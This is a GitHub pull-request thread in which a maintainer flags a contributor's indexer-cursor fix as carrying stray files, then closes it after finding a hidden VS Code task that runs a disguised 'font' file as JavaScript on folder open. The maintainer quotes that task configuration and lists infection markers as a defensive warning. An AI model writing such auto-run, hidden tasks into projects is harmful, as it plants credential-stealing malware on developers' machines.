[Richard-tobi]

Overview

This PR fixes fetchEvents so it reports the paging cursor and the highest ledger actually covered by returned events, rather than the raw network tip. It also makes fetchEventsSafe page through full batches with the cursor until the requested range is drained (or a page budget is hit), and clamps highestLedger to min(last ledger fully covered, endLedger). This prevents dropped events on truncated pages and stops the cursor from jumping past target = tip - TIP_LAG.

Related Issue

Changes

🔁 Cursor-accurate event fetching

• [MODIFY] src/rpc.ts

  • fetchEvents now returns cursor (from resp.cursor) and maxEventLedger (max event.ledger seen) alongside latestLedger.
  • fetchEventsSafe pages with the returned cursor when a page is full, up to a page budget, accumulating events across pages.
  • highestLedger is computed as min(last fully covered ledger, endLedger) instead of passing the raw tip through.

• [MODIFY] src/indexer.ts

  • pollOnce commits the cursor derived from the covered ledger rather than the network tip, so the propagation buffer (target = tip - TIP_LAG) is respected.

• [ADD] src/__tests__/fetchEventsSafe.test.ts

  • Test with a mocked RPC returning exactly limit events proves the second page is lost on main and ingested after the change.
  • Test proves the returned cursor never exceeds the endLedger passed in.

Verification Results

npm test -- src/__tests__/fetchEventsSafe.test.ts
✅ passed (full-page paging + endLedger clamp cases)

Acceptance Criteria	Status
fetchEvents returns the paging cursor and the maximum event.ledger seen, alongside latestLedger	✅
A full page causes the caller to page with the cursor until the range is drained or a page budget is hit	✅
highestLedger is min(last ledger fully covered, endLedger) — never the raw tip	✅
A test with a mocked RPC returning exactly limit events proves the second page is lost on main and ingested after	✅
A test proves the cursor never exceeds the endLedger passed in	✅

Closes #180

[Miracle656]

The real change here is three files:

src/indexer.ts
src/rpc.ts
src/__tests__/fetchEventsSafe.test.ts

The other 23 are not yours to add: a .vscode/ directory (five files, including spellright.dict) and public/fonts/ — the full FontAwesome set, .eot, .svg, .ttf, .woff and .woff2 for brands, regular and solid. That is where the +9,608 lines come from. wraith is a backend service; it serves no web fonts.

This is the same junk that is riding on several Lens PRs, which suggests it came in from a fork that had it rather than from you adding it deliberately. Worth checking your fork's default branch — if the files are on it, every branch you cut will carry them.

To clear it:

git checkout -b fix/cursor-advance-clean origin/main   # fresh from upstream main
git checkout <your-branch> -- src/indexer.ts src/rpc.ts src/__tests__/fetchEventsSafe.test.ts

Open that as a new PR, or force-push it over this branch — either is fine.

I am asking rather than merging around it because a 9,600-line diff cannot be reviewed for a 3-file change: binaries do not diff, so a reviewer either trusts them or does not, and .vscode/settings.json is exactly the kind of file that quietly carries someone's local paths or environment into a shared repo.

The change itself is one I want. "Advance the cursor to the ledger actually covered" is the right fix — a cursor that advances past ledgers the RPC did not return is how an indexer silently skips events and then reports itself caught up. Send it on its own and I will review it properly.

Note also that main has moved: #250, #251 and #261 all landed today, and #251 corrected the native XLM SAC constants, which touches src/indexer.ts. Cut from current main.

[Miracle656]

Closed for security: this branch carries a known malware payload

This is not a judgement about you, and most likely you are a victim rather than the source. Please read all of this — your machine and your GitHub account may be at risk.

This branch contains .vscode/tasks.json with:

"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || ...",
"runOptions": { "runOn": "folderOpen" },
"hide": true,
"presentation": { "reveal": "never", "echo": false, "close": true }

That runs node against public/fonts/fa-solid-500.woff2 — a JavaScript file disguised as a font — automatically the moment the folder is opened in VS Code, hidden, with its output suppressed.

This matches PolinRider, a campaign that has been spreading through open-source repositories since early 2026. It targets developer credentials — npm and other registry tokens, GitHub tokens — and uses stolen tokens to push the payload into further repositories. That is almost certainly how it reached this branch: not because you added it, but because something that had access to your account or machine did.

I am closing this PR rather than asking for a rebase, because the branch itself is the risk and nobody should clone it.

Please do these, in this order

1. Stop using that machine for anything sensitive. Do not push code or open pull requests from it until it is clean. The campaign spreads through repositories its victims push to.
2. From a different, clean device, rotate: GitHub tokens and SSH keys, npm/cargo and any other registry tokens, cloud credentials, .env secrets, and browser-saved passwords for important accounts. Sign out of all sessions. If you have no second device, format and reinstall first, then create new credentials on the clean machine.
3. Check your GitHub account for unfamiliar OAuth apps, SSH keys, API tokens, and unexpected collaborators or write access on your own repositories.
4. Check your other clones for the same markers: a .vscode/tasks.json with "runOn": "folderOpen", "task.allowAutomaticTasks": "on" in .vscode/settings.json, odd font files under public/fonts/, a dist/setup.js with a matching preinstall script, or extra code appended after export default in postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, jest.config.*, vite.config.*.

About your work

Nothing you have earned is affected and nothing is held against you. Once your machine and credentials are clean, you are welcome to open fresh pull requests from a clean clone of current main, and I will review them normally.

Some of these branches did contain real work — the pair-issuer fix in particular is already on main as 41b1f62, so that one is done and nothing was lost.

I am sorry to close these on you. Given the payload executes on folder open with no visible output, leaving them open would put every person who clones this repository at risk.